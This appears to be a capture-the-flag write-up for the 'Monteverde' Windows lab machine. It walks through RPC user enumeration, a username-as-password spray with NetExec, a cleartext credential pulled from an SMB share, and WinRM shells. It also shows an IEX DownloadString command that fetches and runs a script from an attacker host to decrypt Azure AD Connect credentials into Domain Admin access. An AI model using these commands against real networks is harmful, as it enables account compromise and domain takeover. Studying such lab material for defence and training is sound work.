Introduction
Monteverde is a medium Windows machine that tells a very modern story: a company running Azure AD Connect to sync their on-prem Active Directory to the cloud, and the on-prem account that does the syncing ends up being the thing that gets them owned.
The chain is clean. A null RPC session leaks the full user list. Because the domain has no account lockout, we can safely spray, and one account uses its own name as its password. That foothold can read an SMB share where an admin left an azure.xml credential file in cleartext, which gives us a WinRM shell as mhope. From there the privesc is the whole point of the box: mhope belongs to the Azure Admins group, so it can reach the local Azure AD Connect (ADSync) database, and that database stores the sync account’s password encrypted with keys we are allowed to read. Decrypt it and it hands back the Domain Administrator password.
It is a great box for internalising two lessons: usernames are passwords more often than they should be, and Azure AD Connect is a domain-privilege time bomb.
Enumeration
As always with AD, I put the domain in /etc/hosts first.
echo "<target_ip> megabank.local monteverde.megabank.local MONTEVERDE" | sudo tee -a /etc/hostsService Discovery
sudo nmap megabank.local -T4 --min-rate 3500 -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -sC -sV -oN scans/service-scan.nmapPORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: MONTEVERDE; OS: WindowsThe usual domain controller fingerprint for MEGABANK.LOCAL, running Windows Server 2019 (build 17763). WinRM (5985) is open, so if I can find any credential, I probably get a shell straight away.
Enumerating over RPC
SMB would not give me a null session for shares, and the guest/anonymous accounts were dead ends. But an unauthenticated RPC session worked, which is enough to pull the whole user list. I used enum4linux-ng and confirmed with rpcclient.
rpcclient -U '' megabank.local -N
rpcclient $> enumdomusers
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]Two accounts stand out immediately:
AAD_987d7f2f57d2— its description spells out the whole endgame: “Service account for the Synchronization Service … running on computer MONTEVERDE.” That is the Azure AD Connect sync account. Note it now; it is why this box exists.SABatchJobs— a batch/service account whose name screams “weak password”.
Before spraying anything, I checked the domain password policy over RPC. This is the single most important pre-spray check:
Domain lockout information:
Lockout threshold: NoneLockout threshold: None means I can spray as much as I want without locking anyone out. That green light matters.
LDAP deep-dive (a documented dead end)
With RPC giving me names, I also enumerated every user over LDAP, specifically hunting for a cleartext password stashed in a description or info field, which is a classic AD misconfiguration.
ldapsearch -x -H ldap://<target_ip> -b "DC=MEGABANK,DC=LOCAL" "(objectClass=user)"No plaintext creds came out of LDAP. It was the right thing to try and it saved me from assuming, but the win was not here. The one detail worth keeping was
mhope’s group membership, which becomes relevant only after we get a shell:
dn: CN=Mike Hope,OU=London,OU=MegaBank Users,DC=MEGABANK,DC=LOCAL
memberOf: CN=Azure Admins,OU=Groups,DC=MEGABANK,DC=LOCAL
memberOf: CN=Remote Management Users,CN=Builtin,DC=MEGABANK,DC=LOCALmhope is in Remote Management Users (so, WinRM-capable) and in Azure Admins. File the second one away for privesc.
Foothold
Password spray: usernames as passwords
With lockout disabled and a clean user list, the cheapest attack in AD is to try every username as its own password. NetExec does this in one line by feeding the same file to -u and -p.
nxc smb megabank.local -u users.txt -p users.txt --continue-on-success
...
SMB <target_ip> 445 MONTEVERDE [-] MEGABANK.LOCAL\mhope:mhope STATUS_LOGON_FAILURE
SMB <target_ip> 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobsOne hit: SABatchJobs:SABatchJobs.
Looting the Azure AD Connect password from SMB
SABatchJobs is low-priv, but authenticated SMB gives us shares that the null session did not. I listed them with the new credential.
nxc smb megabank.local -u SABatchJobs -p SABatchJobs --shares
...
Share Permissions Remark
azure_uploads READ
users$ READusers$ is a share of user home directories. Browsing into mhope’s folder turned up a file that should never sit on a readable share: azure.xml.
smbclient //megabank.local/users$ -U 'SABatchJobs%SABatchJobs' -c "cd mhope; get azure.xml"It is a serialized PowerShell PSADPasswordCredential object, and the password is right there in cleartext:
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
...
<S N="Password">4n0therD4y@n0th3r$</S>That gives us mhope:4n0therD4y@n0th3r$.
WinRM shell as mhope
mhope was in Remote Management Users, so the credential is a shell.
evil-winrm -i <target_ip> -u mhope -p '4n0therD4y@n0th3r$'That is our foothold and the user flag.
Privilege Escalation — Azure AD Connect (ADSync)
This is the reason mhope’s Azure Admins membership mattered. Azure AD Connect runs a local ADSync service that synchronises on-prem AD to Azure. To do that it needs an account with high privileges, and it stores that account’s credentials encrypted in a local SQL Server (LocalDB) database. The catch: the decryption keys live in the same database, readable by the account running the sync tooling. So anyone who can reach that DB can recover the sync credentials, and on Monteverde those credentials belong to the Domain Administrator.
The technique comes from Adam Chester’s (xpnsec) research on abusing Azure AD Connect. The practical steps: on the box, connect to the ADSync database, pull the encrypted config plus the key material, and let the mcrypt DLL decrypt it back to a plaintext username and password.
I pulled the extraction script onto the target from my Evil-WinRM session and ran it.
# From the mhope Evil-WinRM shell
IEX(New-Object Net.WebClient).DownloadString('http://<attacker_ip>/azuread_decrypt_msol.ps1')The script opens the local database, decrypts the stored credential, and prints it:
AD Connect Sync Credential Extract
Domain: MEGABANK.LOCAL
Username: administrator
Password: d0m@in4dminyeah!The sync account here is the Domain Administrator. No cracking, no further pivot: it is a direct credential.
evil-winrm -i <target_ip> -u administrator -p 'd0m@in4dminyeah!'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> whoami
megabank\administratorMachine rooted.
Attack Chain Recap
null RPC session (rpcclient / enum4linux-ng) -> 10 domain users + "Azure AD Connect sync account" hint
password policy -> Lockout threshold: None (safe to spray)
nxc smb -u users.txt -p users.txt -> SABatchJobs:SABatchJobs
nxc --shares as SABatchJobs -> READ on users$
users$\mhope\azure.xml -> mhope:4n0therD4y@n0th3r$ (cleartext)
evil-winrm as mhope -> foothold + user flag (member of Azure Admins)
ADSync database decrypt (xpnsec technique) -> administrator:d0m@in4dminyeah!
evil-winrm as administrator -> Domain AdminKey takeaways
- Check the lockout policy before you spray.
Lockout threshold: Noneturns password spraying from risky to free. If it were set, you would spray one password across all users per window instead. - Username-as-password is a real attack. Feeding the user list to both
-uand-pin NetExec is a five-second test that owns service accounts constantly. - Read every readable share as each new user. The whole foothold was a cleartext password in
azure.xmlsitting onusers$, invisible to the null session but readable toSABatchJobs. - Azure AD Connect is a domain-tier secret. Any host running ADSync stores credentials that are usually Domain Admin or DCSync-capable. Membership in a group like Azure Admins is effectively a path to the whole domain.
References
- Adam Chester (xpnsec) — Azure AD Connect for Red Teamers